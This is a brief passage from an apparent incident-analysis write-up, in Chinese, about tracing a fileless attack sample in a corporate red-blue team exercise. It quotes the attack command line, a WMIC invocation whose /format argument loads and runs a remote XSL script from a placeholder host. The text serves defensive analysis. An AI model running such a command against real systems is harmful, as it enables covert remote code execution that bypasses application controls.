一次红蓝对抗无文件攻击溯源
0）简述前段时间参加公司举行红蓝对抗演习，帮助蓝军分析并溯源样本。拿到样本时，就一个xsl类型的文件，和一个用来执行该样本的命令行，如下所示：C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"可以看出，是通过白利用技术，通过wmic来执行的这个恶意的xsl文件，想了解更多，可以参考这篇文章《wmic调...
